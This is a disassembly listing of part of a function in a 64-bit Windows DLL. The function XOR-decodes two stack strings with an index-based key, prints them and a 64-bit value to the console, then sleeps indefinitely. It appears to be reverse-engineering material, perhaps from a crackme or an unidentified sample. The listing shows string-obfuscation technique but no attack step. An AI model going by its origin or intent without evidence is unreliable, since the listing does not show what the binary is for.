movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18000bf40
jmp 0x18000c081
lea r9, [rbp + 0x50]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18000c050
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x50]
call fcn.180002020
lea rdx, [0x1800027b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x1800af043], dil
movups xmm0, xmmword [0x1800af030]
mov eax, dword [0x1800af040]
mov dword [rbp + 0x40], eax
movups xmmword [rbp + 0x30], xmm0
je 0x18000c23e
cmp r14d, 2
jl 0x18000c204
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x34]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop dword [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
mov eax, edi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x18000c100
cmp eax, 0x14
jge 0x18000c23e
movsxd rax, edi
lea r8, [rbp + 0x30]
add r8, rax
nop
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, dil
inc edi
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0x14
jl 0x18000c210
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x30]
call fcn.180002020
lea rdx, [0x18000adf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x18012f230]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1800027b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.180009e00
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x88], 0
je 0x18000c29e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp + 0x88], edi
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3